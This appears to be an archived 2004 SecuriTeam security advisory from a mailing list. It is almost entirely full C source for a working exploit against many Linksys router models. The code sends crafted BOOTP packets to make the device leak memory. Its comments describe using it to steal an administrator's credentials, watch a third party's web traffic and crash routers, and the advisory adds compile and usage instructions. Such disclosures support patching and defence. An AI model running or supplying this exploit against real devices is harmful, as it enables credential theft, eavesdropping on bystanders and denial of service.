[EXPL] Linksys BOOTP Memory Leak

From: SecuriTeam (support_at_securiteam.com)
Date: 05/17/04

  • Next message: SecuriTeam: "[NT] Microsoft Internet Explorer ImageMap URL Spoof Vulnerability"
    To: list@securiteam.com
    Date: 17 May 2004 19:45:37 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Linksys BOOTP Memory Leak
    ------------------------------------------------------------------------

    SUMMARY

    A remote proof of concept exploit for various Linksys routers that have
    flaws in the way they return BOOTP packets. In each legitimate response,
    BOOTP fields are filled in with portions of memory from the device,
    allowing a remote attacker to sniff traffic and crash the device.

    DETAILS

    Exploit:
    /*
     *
     * Apparently Linksys devices that have a DHCP server on them
     * don't properly handle BOOTP packets. Instead of returning
     * legitimate BOOTP responses, they return BOOTP responses with
     * the BOOTP fields filled in with portions of memory. This
     * allows you to do cool things like the equivalent of sniffing
     * all the traffic to/from the device.
     *
     * To the best of my knowledge, this only allows you to read
     * traffic that was recently sent to/from the linksys device
     * (on any of its ports if its a hub/switch). I have successfully
     * used this technique to steal the admin username and password
     * from an innocent third party who recently configured the device,
     * and I watched someone's traffic as they browsed ebay for a new
     * Ti-Book. In a number of cases, after sufficient packets were sent,
     * the device stopped routing packets and would only continue working
     * again after a power cycle.
     *
     * You won't always get memory on the first packet, so try
     * sending many packets. Even if you do get portions of memory,
     * you'll only get something interesting if the linksys device was
     * recently active.
     *
     * If you try the payload option, you can see that canary value in
     * BOOTP reply packets -- not necessarily right away, but eventually.
     * This usually appears in the BOOTP vendor specific options field,
     * typically right at the very beginning.
     *
     * Tested on a fully updated Linksys BEFSR41 and BEFW11S4, but
     * will likely work on all Linksys devices that have a DHCP
     * server. Currently, this looks to include at least the BEFN2PS4,
     * BEFSR41, BEFSR81, BEFSX41, RV082, BEFCMU10, BEFSR11, BEFSR41W,
     * BEFSRU31, BEFVP41, WRT55AG, WRV54G, WRT51AB
     *
     *
     * Requires libnet (1.1.x) and libpcap
     *
     * Compile with something like:
     *
     * gcc -Wall -I/usr/include `libnet-config --defines --cflags` \
     * -o linksys-dhcp-exploit linksys-dhcp-exploit.c `libnet-config --libs`
    -lpcap
     *
     *
     * Jon Hart <warchild@spoofed.org>
     *
     * Copyright (c) 2004, Jon Hart
     * All rights reserved.
     *
     * Redistribution and use in source and binary forms, with or without
    modification,
     * are permitted provided that the following conditions are met:
     *
     * * Redistributions of source code must retain the above copyright
    notice,
     * this list of conditions and the following disclaimer.
     * * Redistributions in binary form must reproduce the above copyright
    notice,
     * this list of conditions and the following disclaimer in the
    documentation
     * and/or other materials provided with the distribution.
     * * Neither the name of the organization nor the names of its
    contributors may
     * be used to endorse or promote products derived from this software
    without
     * specific prior written permission.
     *
     *
     * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
    "AS IS"
     * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    THE
     * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    PURPOSE
     * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
    BE
     * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
    CONSEQUENTIAL
     * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
    GOODS OR
     * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
    HOWEVER
     * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
    LIABILITY,
     * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
    THE
     * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
    DAMAGE.
     *
     */

    #include <libnet.h>
    #include <pcap.h>
    #if (SOLARIS || BSD)
    #include <netinet/if_ether.h>
    #else
    #include <netinet/ether.h>
    #endif

    #define HEXDUMP_BYTES_PER_LINE 16
    #define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2)
    #define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */
    #define HEXDUMP_HEXSTUFF_PER_LINE \
                (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE)

    void ascii_print_with_offset(register const u_char *cp, register u_int
    length);
    void usage();
    void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header,
    const u_char *packet);

    int main(int argc, char *argv[]) {

     int c, time = 5, dump = 0, count = 0;

     libnet_t *libnet;
     struct libnet_stats stats_libnet;
     libnet_ptag_t ether, ipv4, udp, bootp;
     struct libnet_ether_addr *src_ether;

     pcap_t *pcap;
     struct pcap_stat stats_pcap;
     struct bpf_program filter;
     char filter_exp[] = "src port 67 and dst port 68";
     bpf_u_int32 mask, net;

     char errbuf[LIBNET_ERRBUF_SIZE];
     char *interface = NULL;
     char *payload = NULL;
     u_char bcast_ether[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

     while ((c = getopt(argc, argv, "c:i:p:s:X")) != EOF) {
      switch (c) {
       case 'c':
         count = atoi(optarg);
         break;
       case 'i':
        interface = optarg;
        break;
       case 'p':
        payload = optarg;
        break;
       case 's':
        time = atoi(optarg);
        break;
       case 'X':
        dump = 1;
        break;
       default:
         usage();
         return(1);
      }
     }

     if (interface == NULL) {
       fprintf(stderr, "Please specify an interface\n");
       usage();
       return(1);
     }

     if ((libnet = libnet_init(LIBNET_LINK, interface, errbuf)) == NULL) {
      fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
      return(1);
     }

     if ((src_ether = libnet_get_hwaddr(libnet)) == NULL) {
      fprintf(stderr, "Couldn't determine src ethernet: %s\n", errbuf);
      libnet_destroy(libnet);
      return(1);
     }

     memset(&stats_libnet, 0, sizeof(struct libnet_stats));

     libnet_seed_prand(libnet);
     
     if ((pcap = pcap_open_live(interface, BUFSIZ, 0, 5000, errbuf)) == NULL)
    {
      fprintf(stderr, "pcap_open_live() failed: %s\n", errbuf);
      libnet_destroy(libnet);
      return(1);
     }

     if (pcap_lookupnet(interface, &net, &mask, errbuf) == -1) {
      fprintf(stderr, "pcap_lookupnet() failed: %s\n", errbuf);
      libnet_destroy(libnet);
      pcap_close(pcap);
      return(1);
     }

     if (pcap_compile(pcap, &filter, filter_exp, 0, net) == -1) {
      fprintf(stderr, "pcap_compile() failed: %s\n", pcap_geterr(pcap));
      libnet_destroy(libnet);
      pcap_close(pcap);
     }

     if (pcap_setfilter(pcap, &filter) == -1) {
      fprintf(stderr, "pcap_setfilter() failed: %s\n", pcap_geterr(pcap));
      libnet_destroy(libnet);
      pcap_freecode(&filter);
      pcap_close(pcap);
     }

     memset(&stats_pcap, 0, sizeof(struct pcap_stat));

     /* If we want to tack some "payload" into the BOOTP packet,
      * we must do it here before the bootp stuff is built
      */
     if (!(payload == NULL)) {
       libnet_build_data((u_char *) payload, strlen(payload), libnet, 0);
     }

     /* The device seems to croak on the simplest of BOOTP packets,
      * so lets do that, shall we
      */
     bootp = libnet_build_bootpv4(
        LIBNET_DHCP_REQUEST,
        1,
        ETHER_ADDR_LEN,
        0,
        libnet_get_prand(LIBNET_PR32),
        0,
        0x8000,
        0,
        0,
        0,
        0,
        src_ether->ether_addr_octet,
        NULL,
        NULL,
        NULL,
        0,
        libnet,
        0);

     if (bootp == -1) {
      fprintf(stderr, "Can't build bootp: %s\n", libnet_geterror(libnet));
      goto die;
     }

     udp = libnet_build_udp(
       68,
       67,
       LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 :
    strlen(payload)),
       0,
       NULL,
       0,
       libnet,
       0);

     if (udp == -1) {
      fprintf(stderr, "Can't build udp: %s\n", libnet_geterror(libnet));
      goto die;
     }

     ipv4 = libnet_build_ipv4(
        LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0
    : strlen(payload)),
        0,
        libnet_get_prand(LIBNET_PR16),
        IP_DF,
        libnet_get_prand(LIBNET_PR8),
        IPPROTO_UDP,
        0,
        inet_addr("0.0.0.0"),
        inet_addr("255.255.255.255"),
        NULL,
        0,
        libnet,
        0);

     if (ipv4 == -1) {
       fprintf(stderr, "Can't build ipv4: %s\n", libnet_geterror(libnet));
       goto die;
     }

     ether = libnet_autobuild_ethernet(bcast_ether, ETHERTYPE_IP, libnet);

     if (ether == -1) {
       fprintf(stderr, "Can't build ethernet: %s\n", libnet_geterror(libnet));
       goto die;
     }

     if (count == 0) {
      for(;;) {
       libnet_write(libnet);
       if (dump) {
        if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
         pcap_perror(pcap, "Error: ");
        }
       }
       sleep(time);
      }
     } else {
      for (c = 0; c < count; c++) {
       libnet_write(libnet);
       if (dump) {
        if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
         pcap_perror(pcap, "Error: ");
        }
       }
       if (!(c + 1 == count)) {
        sleep(time);
       }
      }
     }

     libnet_stats(libnet, &stats_libnet);
     
     if (pcap_stats(pcap, &stats_pcap) == -1) {
      fprintf(stderr, "pcap_stats() failed: %s\n", pcap_geterr(pcap));
     } else {
      fprintf(stderr, "\nSent: %lld Received: %d Dropped: %d\n",
        stats_libnet.packets_sent, stats_pcap.ps_recv, stats_pcap.ps_drop);
     }

     goto die;

    die:
     libnet_destroy(libnet);
     pcap_freecode(&filter);
     pcap_close(pcap);
     return(0);
    }

    /* Borrowed from tcpdump */
    void ascii_print_with_offset(register const u_char *cp, register u_int
    length) {
     register u_int i, oset = 0;
     register int s1, s2, chr = 0;
     register int nshorts;
     char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1],
    *hsp;
     char asciistuff[HEXDUMP_BYTES_PER_LINE+1], *asp;
     char *ascii_color = "01;32";

     nshorts = length / sizeof(u_short);
     i = 0;
     hsp = hexstuff; asp = asciistuff;
     while (--nshorts >= 0) {
      s1 = *cp++;
      s2 = *cp++;
      (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
           " %02x%02x", s1, s2);
      hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
      *(asp++) = s1;
      *(asp++) = s2;
      if (++i >= HEXDUMP_SHORTS_PER_LINE) {
       *hsp = *asp = '\0';
       (void)printf("\n0x%04x\t%-*s ",
       oset, HEXDUMP_HEXSTUFF_PER_LINE,
       hexstuff);
       for (chr = 0; chr < sizeof(asciistuff) - 1; chr++) {
        if (isprint(asciistuff[chr])) {
         (void)printf("\33[%sm", ascii_color);
         (void)printf("%c", asciistuff[chr]);
         fputs("\33[00m", stdout);
        } else {
         (void)printf(".");
        }
       }
       i = 0; hsp = hexstuff; asp = asciistuff;
       oset += HEXDUMP_BYTES_PER_LINE;
      }
     }
     if (length & 1) {
      s1 = *cp++;
      (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
           " %02x", s1);
      hsp += 3;
      *(asp++) = s1;
      ++i;
     }
     if (i > 0) {
      *hsp = *asp = '\0';
      (void)printf("\n0x%04x\t%-*s ",
          oset, HEXDUMP_HEXSTUFF_PER_LINE,
          hexstuff);
      for (chr = 0; chr < sizeof(asciistuff) - 1 && asciistuff[chr] != '\0';
    chr++) {
       if (isgraph(asciistuff[chr])) {
        (void)printf("\33[%sm", ascii_color);
        (void)printf("%c", asciistuff[chr]);
        fputs("\33[00m", stdout);
       } else {
        (void)printf(".");
       }
      }
     }
    }

    void usage() {
     fprintf(stderr, "\tLinksys dhcp memory disclosure exploit\n");
     fprintf(stderr, "\tby Jon Hart <warchild@spoofed.org>\n");
     fprintf(stderr, "\thttp://spoofed.org/files/linksys-dhcp-exploit.c\n");
     fprintf(stderr, "\n\tUsage:\n");
     fprintf(stderr, "\t\t-c count # number of packets to send\n");
     fprintf(stderr, "\t\t-i interface # interface to send packets to\n");
     fprintf(stderr, "\t\t-p payload # payload to put in the bootp packet\n");
     fprintf(stderr, "\t\t-s seconds # (optional) seconds to sleep between
    packets\n");
     fprintf(stderr, "\t\t-X # dump captured data\n");
     fprintf(stderr, "\n\n");
    }

    void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header,
    const u_char *packet) {

     struct ether_header *ether = (struct ether_header *) packet;
     struct iphdr *ip;
     u_int jump = 0;

     if (ntohs(ether->ether_type) != ETHERTYPE_IP) {
      return;
     }

     /* Jump past the ethernet header */
     jump += LIBNET_ETH_H;
     ip = (struct iphdr *)(packet + jump);

     /* Jump past the IP header */
     jump += ip->ihl * 4;

     /* Jump past the UDP header */
     jump += LIBNET_UDP_H;

     /* Now print out the UDP data, which is just the BOOTP portion of
      * the packet. This should contain the interesting data.
      */
     ascii_print_with_offset(packet + jump, packet_header->caplen - jump);
     printf("\n");
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:warchild@spoofed.org> Jon
    Hart.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Microsoft Internet Explorer ImageMap URL Spoof Vulnerability"

    Relevant Pages

    • Re: IP Address
      ... DHCP is used to request an IP address ... NIS mean by the term "loopback"? ... IP also "loop back" packets that are ... DHCP is a superset of BOOTP, ...
      (microsoft.public.windowsxp.newusers)
    • [NT] SpeakFreely Spoofed DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Under Windows 98SE less than 200 spoofed packets crash the program ... u_short sport, ... dport = big endian destination port ...
      (Securiteam)
    • [NT] Yahoo! Messenger URL Handler Remote DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A denial of service vulnerability exists in the way Yahoo! ... When these packets are sent Yahoo! ... Messenger version 6.0 ...
      (Securiteam)
    • [TOOL] BSS (Bluetooth Stack Smasher) Fuzzer
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... BSS is a L2CAP layer Fuzzer for Linux, ... Performs several L2CAP checks sending malicious packets (L2CAP) ...
      (Securiteam)
    • [NT] Agnitum Outpost Firewall Pro DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Outpost Firewall Pro, you get award-winning ... By flooding Outpost Pro with a sustained rate of packets it is possible to ... Outpost Pro maintains a list of all new incoming packets. ...
      (Securiteam)